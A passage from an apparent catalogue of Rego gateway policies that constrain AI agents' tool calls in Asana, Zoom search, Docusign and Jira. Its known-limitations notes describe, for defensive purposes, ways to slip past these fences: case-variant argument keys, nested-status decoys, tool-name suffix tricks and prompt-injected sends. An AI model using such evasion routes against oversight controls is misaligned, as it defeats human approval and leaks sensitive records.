is_object(el) some raw in object.get(el, "projects", []) id := to_gid(raw) id != "" } # --------------------------------------------------------------------------- # Fence check — a requested GID is fenced and the caller lacks the mapped group. blocked contains entry if { is_write_tool some entry in protected_projects requested_gids[entry.gid] not caller_has_group(entry.group) } # --------------------------------------------------------------------------- # Allow rules. # Any tool this policy does not inspect passes through untouched. allow if { not is_write_tool } # An inspected write passes when no fenced GID is targeted away from the caller # (includes writes to non-fenced projects and writes that name no GID at all). allow if { is_write_tool count(blocked) == 0 } # --------------------------------------------------------------------------- # Deny reasons — one per fenced GID the caller may not write to. reasons contains msg if { some entry in blocked msg := sprintf("Asana project %s is fenced as sensitive and requires the '%s' IdP group to write to it; this call targets it directly. Route the write through a member of the '%s' group, or contact InfoSec if this fence looks wrong.", [entry.gid, entry.group, entry.group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Zoom Agentic Search to Native Corpora URL: https://www.intentbasedpolicy.com/policies/zoom/fence-agentic-search App(s): zoom | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: zoom.ingress.fence_agentic_search | Published: 2026-07-12 | Tags: zoom, agentic-search, constrain-aggregator, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/zoom/fence-agentic-search/policy.md # zoom / fence-agentic-search **Direction:** ingress (`tool_pre_invoke`), transform-first **Default:** allow (rewrite args); deny only when nothing Zoom-native remains **Package:** `zoom.ingress.fence_agentic_search` ## What it does Constrains Zoom's **agentic-search** tool (`*search_zoom`) so it can only reach Zoom-native content. Zoom's agentic search fans a single query out across Zoom content **and connected third-party systems** — Salesforce accounts, Workday employee/time-off records, ServiceNow tickets — with the required `search_entities` argument selecting which corpora are searched. Left unconstrained, an agent (or a prompt-injection) can laterally pull CRM, employee/HR, and ticketing records through the Zoom connector, outside those systems' own trust boundaries and governed connectors. This policy rewrites `search_entities` at ingress, before the call reaches the Zoom MCP server: 1. It reads `search_entities` via `object.get`, accepting either an **array** (`["meetings","salesforce"]`) or a **single string** (`"meetings"`). 2. It filters the requested entities down to a **pinned per-tenant allowlist** of Zoom-native corpora (`zoom_native_entities`), comparing case-insensitively and dropping everything else (`salesforce`, `workday`, `servicenow`, and any unrecognized value). 3. If at least one Zoom-native entity survives, it **transforms** the call — `search_entities` is replaced with the filtered allowlist and all other arguments (`query`, `page_size`, …) pass through unchanged. 4. If **no** Zoom-native entity remains (the caller asked only for external or unrecognized corpora, or omitted the required argument), it **denies** with an actionable reason pointing the caller at the governed connector for the system they actually wanted. The allowlist is a pinned constant (PF-28 style) documented for import, so a tenant with no Workday or ServiceNow integration still gets a clean default: external values are simply never in the set and are stripped. This is a single, focused constraint on one tool — `search_zoom` — that would otherwise reach sensitive data outside Zoom's own trust boundary. It does not touch Zoom's transcript, recording, chat, or docs tools; compose the companion policies below for those surfaces. ## Compliance alignment This policy instantiates policy family **PF-14 (constrain-aggregator)** for Zoom's `search_zoom` fan-out. - **SOC 2 CC6.6 (Enforceable)** — supports boundary protection against external threats by keeping the agent's search inside Zoom's trust boundary and denying lateral reach into third-party systems through the meta-connector; **CC9.2 (Partial)** — supports vendor/business-partner risk management by preventing uncontrolled cross-connector data pulls; **CC6.8 (Partial)** — supports restricting unauthorized functionality by fencing a self-expanding search surface. - **HIPAA §164.508 (Partial)** — supports the authorization requirement for uses/disclosures of PHI by preventing agentic search from pulling employee/HR or other records into Zoom's fan-out along an ungoverned path that no BAA or minimum-necessary determination covers. - **GDPR Arts. 44/46 (Partial)** — supports control over cross-border and cross-system transfers on agent-visible flows by keeping personal data in Salesforce/Workday/ServiceNow from being routed through the Zoom connector. All alignment is on the MCP path only (see the compliance note below). ## Tool name matching Zoom's official workspace server uses **bare snake_case verbs with no vendor prefix** (`search_zoom`), so only the gateway server-name prefix disambiguates. The policy matches by **suffix** on `lower(input.resource.name)`: - `*search_zoom` The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `zoom-workspace-search_zoom`); that prefix is not standardized across deployments, so suffix matching keeps the policy portable. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - **`search_entities`** is read from `input.payload.args` with `object.get`, robust to a missing `payload`/`args` object (fail closed). It is accepted as either an array of strings or a single string; any other shape (a number, an object, or an absent argument) normalizes to an empty list, which lands the call in the deny branch (fail closed). - Matching against `zoom_native_entities` is **case-insensitive** — requested values are lowercased before lookup, so `"Salesforce"` and `"SERVICENOW"` are stripped just like their lowercase forms. - The rewrite preserves every other argument via `object.union(args, {...})` and replaces only `search_entities` with the sorted, de-duplicated allowlist match. ## Examples ### Transformed (external corpora stripped) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-workspace-search_zoom", "type": "tool" }, "payload": { "name": "zoom-workspace-search_zoom", "args": { "query": "Q3 renewal risks", "search_entities": ["meetings", "salesforce", "workday"], "page_size": 20 } } } } ``` `allow = true`; `search_entities` rewritten to `["meetings"]`; `query` and `page_size` preserved. `salesforce` and `workday` are dropped. ### Allowed unchanged in effect (all-native, normalized) A request for `search_entities: "chat"` is rewritten to `["chat"]` — same corpus, normalized to the allowlisted array form. `allow = true`. ### Denied (only external corpora) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-workspace-search_zoom", "type": "tool" }, "payload": { "name": "zoom-workspace-search_zoom", "args": { "query": "open tickets", "search_entities": ["servicenow", "workday"] } } } } ``` `allow = false`, with a reason naming the stripped corpora and pointing the caller at the governed connector for that system. A `search_zoom` call that omits `search_entities` entirely is denied the same way (fail closed). ## Composition This policy is single-purpose. Useful companions on the Zoom connector: - **`zoom/guard-transcripts-by-group`** (ingress) — gates transcript/summary retrieval by IdP group. - **`zoom/redact-pii-meeting-intelligence`** (egress) — redacts PII in returned meeting content. - A defense-in-depth **egress** policy that inspects `search_zoom` responses and blocks any external-system rows that slip through, since this ingress transform fences the request but cannot see the response. ## Known limitations - **`search_entities` corpus vocabulary is unverified.** Zoom's landscape note confirms `search_zoom` takes a required `search_entities` argument that selects corpora and that external systems (Salesforce, Workday, ServiceNow) are among them, but the **exact accepted string values** — for both Zoom-native and external corpora — are not published or source-verified. The `zoom_native_entities` set in `policy.md` is a **placeholder allowlist**: replace its values with your tenant's actual Zoom-native entity vocabulary at import time. If Zoom uses different tokens (e.g. `zoom_meetings` instead of `meetings`), unedited values will strip *everything* and every call will deny — verify with the dump-input debug technique before relying on this in production. - **Allowlist, not blocklist.** Any corpus value not explicitly in `zoom_native_entities` is stripped — including future Zoom-native corpora Zoom may add. This is deliberate (default-deny for the fan-out) but means the constant must be maintained as Zoom's native surface grows. - **Idempotent rewrite.** All-native requests are still rewritten (lowercased and normalized to an array). If your upstream corpus tokens are case-sensitive, adjust the allowlist and the lowercasing accordingly. - **Ingress only.** This fences the request; it does not inspect the response. Pair with an egress policy if you need to catch external data that a misconfigured or renamed corpus still returns. - **Single tool.** Only `*search_zoom` is constrained. Other Zoom tools or community/sub-server surfaces that reach third-party data are not covered here. - **Sibling arguments pass through unchanged.** The rewrite replaces only `search_entities`; every other argument is preserved verbatim (by design, to keep `query`/`page_size`). Zoom's landscape note documents `search_entities` as the *sole* corpus selector, but the tool's argument schema is not source-verified. If a deployment's `search_zoom` also honors a second, undocumented corpus-selection argument (e.g. `sources`, `connectors`, `include_external`), this policy would **not** constrain it and external corpora could still be reached — the transform copies that sibling argument through unchanged. Confirm the full argument schema with the dump-input debug technique; if a second selector exists, extend the transform to strip or pin it too. **This includes a case-variant of `search_entities` itself:** the lookup and rewrite key are the exact lowercase string `search_entities`, so a sibling key that differs only in case (`Search_Entities`, `SEARCH_ENTITIES`) is treated as an unrelated argument and passes through verbatim. Standard JSON-RPC MCP tools match argument keys case-sensitively, so a lowercase `search_entities` is the only key the server reads and this is harmless; but if a deployment's server folds argument-key case, an attacker could smuggle external corpora past the fence in `SEARCH_ENTITIES` while a token `search_entities: ["meetings"]` keeps the call in the transform branch. Verify your server's key-casing behavior; if it is case-insensitive, pin the key by lowercasing/normalizing all argument keys before the rewrite. - **Meta / wildcard corpus values.** A value such as `all` or `everything` that the upstream might expand to *every* corpus (including external systems) is stripped by default because it is not in `zoom_native_entities` — a request for only `["all"]` therefore denies (fail closed). Never add such an expanding token to the allowlist, or the fence is defeated at its root. - **No identity-based exemptions.** All callers are treated identically. To let a designated group run cross-system search, add an `allow`/passthrough branch keyed on `object.get(input.subject, "claims", {})` groups (placeholder group names must be replaced with your IdP's group name at import time). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package zoom.ingress.fence_agentic_search # Transform-first ingress policy. On Zoom's agentic-search tool (`*search_zoom`) # it rewrites the required `search_entities` argument to a pinned allowlist of # Zoom-native corpora, stripping external systems (salesforce, workday, # servicenow, ...) so the agent cannot laterally pull CRM / HR / ticketing # records through Zoom's search fan-out. Allows by default; denies only when # filtering leaves no Zoom-native corpus to search. default allow := true # --- Pinned per-tenant allowlist of Zoom-native search corpora (PF-28 style) --- # Documented for import: replace these values with the Zoom-native entity # vocabulary your tenant's agentic search actually exposes. External connectors # (salesforce, workday, servicenow, ...) are intentionally ABSENT so their values # are stripped rather than searched. Lookups are case-insensitive (values are # lowercased before membership tests). zoom_native_entities := { "meetings", "recordings", "transcripts", "chat", "team_chat", "docs", "whiteboards", } # The Zoom agentic-search tool. Zoom's workspace server exposes it as a bare # snake_case verb, so match by suffix — the gateway's server-name prefix (e.g. # `zoom-workspace-search_zoom`) is not standardized. Verify with dump-input. is_search_zoom if { endswith(lower(input.resource.name), "search_zoom") } # Tool arguments, robust to a missing payload/args object (fail closed on absence). args := object.get(object.get(input, "payload", {}), "args", {}) # Raw `search_entities` value exactly as sent (default [] when absent). raw_entities := object.get(args, "search_entities", []) # Normalize `search_entities` to an array of values, accepting an array or a # single string. Any other shape (number, object, absent) becomes [] so the call # fails closed into the deny branch. requested_entities := raw_entities if is_array(raw_entities) requested_entities := [raw_entities] if is_string(raw_entities) requested_entities := [] if { not is_array(raw_entities) not is_string(raw_entities) } # The requested corpora that are Zoom-native, lowercased, de-duplicated, sorted. # Non-string elements are skipped (their lower(...) call fails harmlessly). allowed_entities := sort({e | some raw_e in requested_entities e := lower(raw_e) zoom_native_entities[e] }) # All requested corpus names, lowercased and sorted — used only for the reason. requested_names := sort([lower(x) | some x in requested_entities is_string(x) ]) requested_display := concat(", ", requested_names) if count(requested_names) > 0 requested_display := "none specified" if count(requested_names) == 0 # Rewrite the call: pin `search_entities` to the Zoom-native subset, preserve # every other argument. Fires whenever the tool is search_zoom and at least one # Zoom-native corpus survives filtering. transform := { "transformed_payload": object.union(args, {"search_entities": allowed_entities}), } if { is_search_zoom count(allowed_entities) > 0 } # Deny when the search targets no Zoom-native corpus after filtering (only # external/unrecognized values, or the required argument was missing/malformed). allow := false if { is_search_zoom count(allowed_entities) == 0 } reasons contains sprintf("Zoom agentic search is fenced to Zoom-native corpora, and this request named only external or unrecognized corpora (%s). None can be reached through Zoom's search fan-out. Query those systems through their own governed connector, or re-run search_zoom with a Zoom-native corpus. Contact your InfoSec team if a Zoom-native corpus was wrongly rejected.", [requested_display]) if { is_search_zoom count(allowed_entities) == 0 } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Force Docusign Envelopes to Draft URL: https://www.intentbasedpolicy.com/policies/docusign/force-draft-envelopes App(s): docusign | Direction: ingress | Bundles: none | Package: docusign.ingress.force_draft_envelopes | Published: 2026-07-12 | Tags: docusign, force-draft-envelopes, esign, human-in-the-loop, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/docusign/force-draft-envelopes/policy.md # docusign / force-draft-envelopes **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `docusign.ingress.force_draft_envelopes` ## What it does Rewrites Docusign envelope-creation calls so the envelope is staged as a **draft** (`status: "created"`) instead of being **dispatched** (`status: "sent"`). With `status: "sent"`, Docusign immediately emails real recipients a legally binding signature request under your company's Docusign brand — a hallucinated or injected send is a legal and reputational event, not a recoverable data event. The safe default is that agents may *stage* envelopes but never *dispatch* them. Callers whose IdP `groups` claim includes `esign-senders` pass through unchanged, preserving the human-authorized dispatch path. Everyone else has `status` forced to `"created"` — whether it was `"sent"`, missing (the community servers default to `"sent"` when omitted), or any other non-draft value. Calls whose `status` is already `"created"` pass through untouched. All other tools are unaffected. ## Compliance alignment - **SOC 2 CC6.3** — supports least privilege and segregation of duties on the agent channel: the agent holds only the *initiate* (draft) privilege and the *dispatch* privilege stays with humans in the `esign-senders` group, preserving the initiate-vs-approve separation for signature transactions (agents prepare, an authorized human sends). ## Tool name matching The policy matches envelope-creation tools by case-insensitive suffix: - `*createenvelope` — official Docusign MCP Server `createEnvelope` (verified from the developer-docs tool catalog) - `*create_envelope_from_template` and `*create_envelope_from_documents` — luthersystems community server (verified from source) The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `docusign-createEnvelope`), and that prefix is not standardized, so the policy matches on the suffix to stay portable. Both `resource.name` and the legacy `payload.name` alias are checked, so a call missing one of the two cannot slip past. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The policy reads and rewrites the top-level `status` argument: - Official `createEnvelope` mirrors the eSignature Envelopes:create REST body — `status` at the top level (`"sent"` = dispatch now, `"created"` = draft), alongside `emailSubject`, `documents[]`, `recipients.signers[]`, or `templateId` + `templateRoles[]`. - Community `create_envelope_from_template` / `create_envelope_from_documents` take a top-level `status` that **defaults to `"sent"` when omitted**, which is why a missing `status` is also rewritten to `"created"`. The transform preserves every other argument via `object.union` and only sets `status`. ## Examples ### Transformed (agent tried to dispatch) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "docusign-createEnvelope", "type": "tool" }, "subject": { "sub": "agent@example.com", "claims": { "groups": ["staff"] } }, "payload": { "name": "docusign-createEnvelope", "args": { "emailSubject": "Please sign: MSA", "status": "sent", "templateId": "tpl-1", "templateRoles": [{ "roleName": "Signer", "name": "Ana", "email": "ana@acme.com" }] } } } } ``` `allow = true`; transform rewrites `status` to `"created"` and preserves all other arguments — the envelope lands in Drafts, no email goes out. ### Allowed unchanged (authorized sender) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "docusign-createEnvelope", "type": "tool" }, "subject": { "sub": "ops@example.com", "claims": { "groups": ["esign-senders"] } }, "payload": { "name": "docusign-createEnvelope", "args": { "emailSubject": "Please sign: MSA", "status": "sent" } } } } ``` `allow = true`, no transform — the human-authorized dispatch path is preserved. ## Composition This policy is single-purpose: it governs the *create* step only. To close the full dispatch surface, pair it with: - An ingress **deny** on `updateEnvelope` when the body carries `status: "sent"` (sending an existing draft) or `status: "voided"` (irreversible void) for callers outside `esign-senders` / `contract-ops` — without it, an agent can draft here and dispatch via `updateEnvelope`. - An ingress deny on `sendReminder` and `updateEnvelopeRecipients` for non-senders (both generate real email to counterparties). - A recipient-domain allowlist on envelope creation (blocks mis-sends and "add my personal email as a signer" exfiltration). ## Known limitations - **Dispatch via other tools is not covered.** `updateEnvelope` (`status: "sent"` on a draft), `sendReminder`, and `triggerWorkflow` can still cause external email; attach the companion policies above. This policy deliberately does one job: force the *create* step to a draft. - **Official-server argument shape is documented, not schema-dumped.** The official tools mirror their documented REST bodies (top-level `status`), but Docusign does not publish per-tool MCP JSON schemas on a static page — verify against a live `tools/list` before relying on exact field paths. If your server nests the envelope definition (e.g. under `envelopeDefinition`), extend the `args` accessor accordingly. - **Nested-`status` decoy (server-shape dependent, red-team residual).** The policy reads and pins only the *top-level* `status`. If a server actually honours a nested `envelopeDefinition.status`, two crafted shapes evade the draft-forcing: (a) a decoy top-level `status:"created"` *plus* a nested `envelopeDefinition.status:"sent"` — the top-level `"created"` trips `is_explicit_draft`, so the call passes through untouched and the nested `"sent"` survives; (b) no top-level `status` plus a nested `"sent"` — the transform pins top-level `status:"created"` but the nested `"sent"` is preserved. Both are covered by tests as documented residuals. This does **not** affect the official server or the luthersystems community server, whose create tools take `status` at the top level (per the landscape note); it only bites a server that nests the envelope definition. If yours does, extend the accessor to read and pin the nested `status` too, and pair with the recipient-domain allowlist companion policy. - **Non-canonical `status` key casing leaves a decoy key.** JSON keys are case-sensitive, so a `Status:"sent"` / `STATUS:"sent"` argument is not the top-level `status` the policy inspects; the transform therefore fires and injects the canonical lowercase `status:"created"` (the Docusign REST body uses lowercase `status`, which wins). The original mixed-case key is left in the payload as an inert decoy. A hypothetical case-insensitive server that preferred the decoy over the injected canonical key is the residual; the official and community servers use lowercase `status` and are safe. Covered in tests. - **Non-object `args` pass through.** If `args` arrives as a non-object (e.g. a bare string), the transform is undefined and the call passes through unmodified; such a call carries no valid envelope definition and fails at the Docusign server (documented residual, covered in tests). - **A pre-existing `status: "created"` is trusted case-insensitively.** `"Created"`/`"CREATED"` are treated as already-draft and left unchanged; Docusign either accepts them as a draft or rejects the call — neither path sends email. - **Group name is a placeholder.** Replace `esign-senders` with your IdP's group name at import time. Missing subject/claims/groups fail closed for the exemption (no group → not an authorized sender → forced to draft). - **Suffix matching misses a trailing segment after the create verb.** Tool names are matched case-insensitively with `endswith`, so a name that carries a trailing segment *after* the create verb (e.g. a version suffix `...createEnvelope-v2`) would not match and would pass through unmodified with `status:"sent"` intact. No documented Docusign create tool names tools this way — the official server exposes `createEnvelope`, the luthersystems community server `create_envelope_from_template` / `_from_documents`, and the gateway only *prepends* the configured server name — so this does not affect the real servers. Confirm your gateway's exact tool names with the dump-input debug technique and add any trailing-suffixed variant to `envelope_create_suffixes`. Covered in tests. - **CData community server is out of scope** — it is read-only SQL and has no envelope-creation surface. > **Compliance note.** This policy supports alignment with the cited > framework controls **on the MCP path only**. No policy or bundle makes an > organization compliant with any framework; web-UI, native-API, and in-app > access are outside the gateway's reach by design. Validate against your > own compliance program before relying on it. ```rego package docusign.ingress.force_draft_envelopes # Transform-only policy: allow everything, and rewrite envelope-creation # calls to status "created" (draft) unless the caller is an authorized # sender. Agents stage envelopes; humans dispatch them. Never denies. default allow := true # --------------------------------------------------------------------------- # Configuration placeholders — replace at import time # --------------------------------------------------------------------------- # IdP group whose members may dispatch envelopes (status "sent" passes # through unmodified). PLACEHOLDER: replace with your IdP group name. esign_senders_group := "esign-senders" # Envelope-creation tool suffixes. Lower-case; matched case-insensitively. # - "createenvelope": official Docusign MCP Server createEnvelope (verified # from the developer-docs tool catalog) # - "create_envelope_from_template" / "create_envelope_from_documents": # luthersystems community server (verified from source; its status # argument DEFAULTS to "sent" when omitted) envelope_create_suffixes := { "createenvelope", "create_envelope_from_template", "create_envelope_from_documents", } # --------------------------------------------------------------------------- # Shared accessors — every possibly-missing field is read via object.get # --------------------------------------------------------------------------- args := object.get(object.get(input, "payload", {}), "args", {}) # Ingress pre-invoke gate. The PARC field is `action`; `kind` is its populated # legacy alias (same value). Accept EITHER via object.get: if a gateway build # ever populates only the legacy `kind` (or PARC drops `action`), keying solely # off `input.action` would silently fail the match and pass a `status:"sent"` # call straight through — a fail-open dispatch. Restricting to pre-invoke keeps # the transform off egress hooks, whose payload has `text`, not `args`. is_pre_invoke if object.get(input, "action", "") == "tool_pre_invoke" is_pre_invoke if object.get(input, "kind", "") == "tool_pre_invoke" # Envelope-creation call. The gateway prefixes tool names with the configured # MCP server name, so match by suffix for portability. Case-insensitive so a # mixed-case tool name can't slip past. Match on resource.name OR the legacy # payload.name alias (both populated on tool hooks, same value): a call that # arrived with an absent resource.name would otherwise miss the match and # dispatch real signature-request email — a fail-open leak. Reading both via # object.get also means a missing `resource` object can't error the rule. is_envelope_create_call if { is_pre_invoke some suffix in envelope_create_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_envelope_create_call if { is_pre_invoke some suffix in envelope_create_suffixes endswith(lower(object.get(object.get(input, "payload", {}), "name", "")), suffix) } # True when the caller is in the authorized-senders group. Missing subject / # claims / groups fail closed (no group -> not an authorized sender -> the # envelope is forced to draft). A groups claim emitted as a bare string is # not iterated by `some g in`, so it also fails closed. is_authorized_sender if { claims := object.get(object.get(input, "subject", {}), "claims", {}) some g in object.get(claims, "groups", []) g == esign_senders_group } # True only when the caller already asked for an explicit draft. Anything # else — "sent", a missing status (the community default is "sent"), padded # or unexpected values — gets rewritten. trim_space + lower so "Created " # still counts as a draft; a non-string status is never treated as a draft. is_explicit_draft if { status := object.get(args, "status", "") is_string(status) lower(trim_space(status)) == "created" } # --------------------------------------------------------------------------- # Transform: force status "created" on unauthorized envelope creation # --------------------------------------------------------------------------- # Preserves every other argument (documents, recipients, templateId, # emailSubject, ...) and only pins status to "created": the agent's envelope # lands in Drafts and no recipient is emailed. If args is a non-object the # object.union is undefined and the call passes through unmodified — such a # call carries no valid envelope definition and fails at the Docusign server # (documented residual). transform := {"transformed_payload": object.union(args, {"status": "created"})} if { is_envelope_create_call not is_authorized_sender not is_explicit_draft } ``` ### Force Internal Visibility on JSM Comments URL: https://www.intentbasedpolicy.com/policies/jira/force-internal-jsm-comments App(s): jira | Direction: ingress | Bundles: soc2, atlassian | Package: jira.ingress.force_internal_jsm_comments | Published: 2026-07-12 | Tags: jira, force-internal-comments, comments, jsm, service-management, ingress, soc2, atlassian Source: https://github.com/dtwoai/policy-store/blob/main/apps/jira/force-internal-jsm-comments/policy.md # jira / force-internal-jsm-comments **Direction:** ingress (`tool_pre_invoke`) **Default:** allow with transform (transform-only, no deny branch) **Package:** `jira.ingress.force_internal_jsm_comments` ## What it does Keeps agent-drafted Jira Service Management (JSM) comments off the customer-facing portal by rewriting `addCommentToJiraIssue` calls to carry a restrictive `commentVisibility` before they reach the Atlassian MCP server. In JSM, a comment added through `addCommentToJiraIssue` **without** a `commentVisibility` object is a *public reply* — it lands on the customer portal and is emailed to the reporter/request participants. Supplying `commentVisibility: {type, value}` scopes the comment to an internal role or group, so it appears only to fulfillers and never on the portal. Because the field defaults to *unset → portal-visible*, an agent that omits it (or is prompt-injected into omitting it) silently discloses internal notes to the customer. This policy: - **Transforms** `addCommentToJiraIssue` to inject `commentVisibility: {type: "role", value: "Service Desk Team"}` when **all** of these hold: the `issueIdOrKey` belongs to a configured JSM project (its key prefix is in the placeholder set `SUP` / `HELP` / `ITSM`), the caller is **not** in the placeholder `support-agents` IdP group, and the call does **not** already carry a restrictive `commentVisibility`. - **Passes through unmodified** any call that already carries a restrictive `commentVisibility` (`type` is `role` or `group` with a non-empty `value` that does not name a customer-facing audience such as the default JSM `Service Desk Customers` role) — the caller has already scoped the comment to an internal audience, so there is nothing to fix and its choice is preserved. - **Passes through unmodified** callers who *are* in the `support-agents` group — they are expected to post customer-facing replies as part of their job. - **Passes through unmodified** comments on non-JSM projects, and every tool other than `addCommentToJiraIssue`. The check runs at ingress, before the call reaches the Atlassian MCP server, so a would-be portal-visible comment is scoped internal before it is ever written. This is a *visibility* control only — it never denies the comment, it only changes who can see it. This is the Jira-specific instantiation of `force-internal-comments` (PF-26): it prevents accidental **external disclosure** of internal notes, as distinct from *masking* the notes on the way back out (egress `redact-sensitive-info`) or *blocking* the write outright (a write-fence / `role-gate-writes`). ## Compliance alignment Forcing internal visibility keeps agent-authored internal notes — which routinely contain another customer's PII, internal risk assessments, or credentials pasted into a ticket — from being disclosed to the external requester on the customer portal. - **SOC 2 CC6.7** (*Restrict transmission/movement/removal of information* — coverage E) — supports alignment by preventing internal note text from being transmitted to an external (customer-portal) audience over the agent channel. - **SOC 2 P6.1** (*PI disclosure to third parties* — coverage P) — supports alignment by confining comment text to an internal role rather than disclosing it to the requester, who for a JSM ticket is a third party relative to the internal note. - **HIPAA §164.502(b) / §164.514(d)** (*Minimum necessary; role-based limits* — coverage E) — supports alignment: an agent-drafted internal note on a JSM (service-desk) ticket that may carry PHI is scoped to internal fulfillers rather than disclosed to the external requester on the customer portal. **§164.530(c)** (*Privacy safeguards* — coverage P) — supports alignment by removing an incidental-disclosure path that would otherwise push internal PHI-bearing notes to the portal. - **GDPR Art. 5(1)(f) / Art. 32** (*Security / confidentiality of processing* — coverage P) — supports alignment: an internal note that may contain personal data is scoped to authorised fulfillers instead of being exposed to the data subject or unrelated portal viewers. - **CCPA/CPRA §1798.150** (*Nonredacted-PI breach-exposure reduction* — coverage P) — supports alignment by reducing the surface on which unredacted personal information in an internal note can be disclosed externally. These SOC 2, HIPAA, and GDPR/CCPA rows list families such as PF-02/PF-04/PF-05/PF-01/PF-08/PF-23 in the coverage matrix; this policy contributes to the same controls by the disclosure-prevention effect of PF-26, not by being named in those rows. The `atlassian` tag is the thematic app bundle. ## Why ingress and not egress Posting a comment is a write with an immediate, externally visible side effect — once `addCommentToJiraIssue` reaches JSM without a restrictive `commentVisibility`, the text is on the customer portal and may already have been emailed to request participants. Egress redaction would only mask the *response* the agent sees, not the portal entry itself. Injecting `commentVisibility` at ingress, before the call executes, is the only placement that actually keeps the text off the portal. ## Tool name matching Matches by suffix, case-insensitively: - `*addcommenttojiraissue` `addCommentToJiraIssue` is the verified official Atlassian Rovo / Claude-connector tool name (camelCase canonical; the Claude connector surfaces it lowercased as `atlassian-addcommenttojiraissue`). The DTwo gateway prefixes tool names with the configured MCP server name, and that prefix is not standardized across deployments, so suffix matching keeps the policy portable. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. The suffix is tested against **both** `input.resource.name` (the canonical PARC field) **and** the legacy `input.payload.name` alias, each read through an `object.get` chain. Both are populated on tool hooks and carry the same value, so the second branch is defense-in-depth: a call that arrived with an absent/empty `resource.name` still matches via `payload.name` rather than passing the comment through portal-visible (a fail-open leak on this visibility control), and reading both via `object.get` means a missing `resource` object cannot error the rule. The community `sooperset/mcp-atlassian` server exposes a differently-named, differently-shaped `jira_add_comment` tool whose JSM-visibility argument is not verified in the landscape note; per the no-invented-tool-names rule this policy does **not** add a speculative suffix for it (see Known limitations). ## Argument shape Verified from the live official-connector schema for `addCommentToJiraIssue`: - `issueIdOrKey` (req) — e.g. `SUP-123` (or a bare numeric issue ID). - `commentBody` (req) — markdown/ADF. - `commentId` (opt) — when present, edits an existing comment. - `commentVisibility` (opt) — `{type: "group" | "role", value: }`. **Absent → the comment is a public/portal-visible reply.** All fields are read via `object.get` chains. The JSM decision keys on the **project prefix** of `issueIdOrKey` (the substring before the first `-`, upper-cased) — the value is `trim_space`d first so leading/trailing whitespace, tabs, or newlines can't push the prefix out of the JSM key set. A `commentVisibility` counts as *restrictive* only when it is an object with **exactly** the keys `{type, value}` (an extra key such as the Jira REST `identifier` field disqualifies it — it could re-address the audience by ID while `value` looks internal), whose `type` is `role` or `group` **and** whose `value` is a `trim_space`-non-empty string that does **not** (lower-cased, trimmed) name a customer-facing audience in the placeholder set `{"service desk customers"}`; anything else (absent, empty, whitespace-only, malformed, an unrecognised `type`, an extra key, or a customer-facing value) is treated as unrestricted and rewritten. The rewrite **replaces the caller's `commentVisibility` wholesale**: the existing key is removed from `args` before `object.union` injects the internal default, so extra caller-supplied keys inside it (e.g. the Jira REST `identifier` field, which can re-address the audience by ID) cannot survive the rewrite. `commentBody`, `issueIdOrKey`, `commentId`, and every other supplied field are preserved. ## Examples ### Transformed (non-support-agent, JSM project, no visibility set) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-addcommenttojiraissue", "type": "tool" }, "subject": { "sub": "agent@example.com", "claims": { "groups": ["staff"] } }, "payload": { "name": "atlassian-addcommenttojiraissue", "args": { "issueIdOrKey": "SUP-123", "commentBody": "Escalating to tier 2 internally." } } } } ``` `allow = true`; `transform.transformed_payload` becomes `{ "issueIdOrKey": "SUP-123", "commentBody": "Escalating to tier 2 internally.", "commentVisibility": { "type": "role", "value": "Service Desk Team" } }`. ### Passed through (caller already scoped the comment internal) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-addcommenttojiraissue", "type": "tool" }, "subject": { "sub": "agent@example.com", "claims": { "groups": ["staff"] } }, "payload": { "name": "atlassian-addcommenttojiraissue", "args": { "issueIdOrKey": "SUP-123", "commentBody": "internal", "commentVisibility": { "type": "group", "value": "jira-administrators" } } } } } ``` `allow = true`, no transform — the caller's existing restriction is preserved. ### Passed through (support-agent caller) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-addcommenttojiraissue", "type": "tool" }, "subject": { "sub": "desk@example.com", "claims": { "groups": ["support-agents"] } }, "payload": { "name": "atlassian-addcommenttojiraissue", "args": { "issueIdOrKey": "SUP-123", "commentBody": "Your ticket is resolved." } } } } ``` `allow = true`, no transform — a support agent may post a portal-visible reply. ### Passed through (non-JSM project) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-addcommenttojiraissue", "type": "tool" }, "subject": { "sub": "agent@example.com", "claims": { "groups": ["staff"] } }, "payload": { "name": "atlassian-addcommenttojiraissue", "args": { "issueIdOrKey": "ENG-45", "commentBody": "note on the dev ticket" } } } } ``` `allow = true`, no transform — `ENG` is not a configured JSM project, so ordinary Jira comments are untouched. ## Composition This policy is single-purpose — it controls comment **visibility** only, not whether the caller may comment at all. Useful companions: - **`role-gate-writes`** (PF-12) — decides whether the caller may call `addCommentToJiraIssue` (or any write) in the first place. This policy composes cleanly on top: role-gate-writes admits the write, force-internal-jsm-comments confines its visibility. - **`redact-sensitive-info`** (egress) — masks PII/secrets when comments are *read back*; the complementary egress leg to this ingress visibility control. - **`deny-write-sensitive-projects`** — if agents should not write to certain JSM projects at all. ## Known limitations - **Placeholders — replace at import time.** The JSM key set ships as `SUP` / `HELP` / `ITSM` and the exemption group as `support-agents`. Replace both with your own project keys and IdP group name at import time. Group names are placeholders — replace `support-agents` with 